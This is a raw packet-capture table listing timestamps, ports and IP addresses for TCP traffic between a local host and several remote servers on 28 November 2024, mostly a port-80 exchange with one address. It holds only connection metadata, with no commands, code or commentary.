Nov 28, 2024 11:05:30.052711964 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.060033083 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.060102940 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.060112000 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.066685915 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.066742897 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.066750050 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.074496984 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.074598074 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.074604988 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.082072020 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.082216024 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.082223892 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.092300892 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.092346907 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.092360020 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.097202063 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.097295046 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.097306013 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.104626894 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.105168104 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.105178118 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.106025934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.106096029 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.106157064 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.106606007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.106652021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.106682062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.107278109 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.107325077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.107337952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.107361078 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.108309031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.108370066 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.108376026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.108469963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.108491898 CET	443	49841	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:30.108581066 CET	443	49841	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:30.108632088 CET	49841	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:30.109175920 CET	49841	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:30.109200001 CET	443	49841	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:30.109389067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.109514952 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.109818935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.109818935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.110410929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.110500097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.110553980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.111459017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.111514091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.111541033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.111591101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.112504959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.112554073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.112596035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.112809896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.113563061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.113693953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.113763094 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.114590883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.114665031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.114708900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.114748001 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.115648031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.115751982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.115807056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.115977049 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.116137028 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.116149902 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.116806984 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.116838932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.116920948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.117778063 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.117808104 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.117836952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.117856026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.118778944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.118887901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.118915081 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.118931055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.119828939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.119930029 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.119960070 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.119997978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.120862007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.120933056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.121004105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.121041059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.121942997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.122060061 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.122097969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.122181892 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.123048067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.123100996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.123171091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.123204947 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.124037027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.124089003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.124149084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.124280930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.124665976 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.125080109 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.125116110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.125145912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.125180006 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.125596046 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.125631094 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.126113892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.126166105 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.126173019 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.126174927 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.126241922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.126281023 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.126945972 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.127145052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.127199888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.127207994 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.127218962 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.127362013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.127403975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.128112078 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.128173113 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.128185034 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.128217936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.128262997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.128340960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.128382921 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.129245996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.129301071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.129313946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.129370928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.130321026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.130424976 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.130665064 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.130708933 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.131354094 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.131397963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.131463051 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.131544113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.132400990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.132469893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.132518053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.133438110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.133491993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.133543015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.133579016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.134489059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.134537935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.134558916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.135041952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.135549068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.135585070 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.135591030 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.135622978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.136570930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.136666059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.136687994 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.136733055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.137624025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.137675047 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.137675047 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.137973070 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.138747931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.138804913 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.138809919 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.138876915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.138910055 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.138916969 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.138945103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.139725924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.139867067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.139920950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.140594959 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.140649080 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.140656948 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.140784979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.140875101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.140916109 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.141805887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.141849995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.141879082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.141925097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.142884970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.142929077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.142935038 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.142968893 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.143975019 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.144021034 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.144068003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.144155979 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.144936085 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.144973993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.145032883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.145067930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.145776987 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.145989895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.146083117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.146095037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.146326065 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.146338940 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.146346092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.146837950 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.146843910 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.147073030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.147154093 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.147208929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.147362947 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.148112059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.148217916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.148276091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.149133921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.149178982 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.149235964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.149276972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.150186062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.150232077 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.150302887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.150367022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.151253939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.151352882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.151400089 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.152318001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.152429104 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.152441025 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.152601957 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.153337002 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.153466940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.153496981 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.153525114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.154366970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.154412985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.154429913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.154510021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.155417919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.155508995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.155533075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.155544996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.156470060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.156527996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.156569958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.156605959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.157668114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.157742023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.157793045 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.158586979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.158690929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.158729076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.158931017 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.159702063 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.159779072 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.159894943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.159977913 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.160700083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.160792112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.160825014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.160865068 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.161767006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.161811113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.161842108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.161885977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.162739992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.162806988 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.163845062 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.163887024 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.163947105 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.163958073 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.164045095 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.164906025 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.167910099 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.167953014 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.168016911 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.168025970 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.168282032 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.170131922 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.170264006 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.170314074 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.170484066 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.170504093 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:30.170514107 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.170645952 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:30.179691076 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.180574894 CET	49838	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.180584908 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.181426048 CET	49838	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.181432009 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.307477951 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.307519913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.307560921 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.307610989 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.308020115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.308074951 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.308769941 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.308842897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.309043884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.309107065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.309716940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.310004950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.310081005 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.310221910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.310722113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.310775042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.311158895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.311172962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.311213017 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.311235905 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.312205076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.312263966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.312761068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.312812090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.313282967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.313297033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.313348055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.314302921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.314352036 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.314884901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.314932108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.315407991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.315458059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.315606117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.315792084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.316453934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.316507101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.317389011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.317452908 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.317476988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.317491055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.317519903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.317533970 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.318494081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.318649054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.318712950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.319542885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.319602013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.319648027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.319751978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.320626974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.320677996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.321635008 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.321654081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.321667910 CET	80	49782	185.215.113.206	192.168.2.7
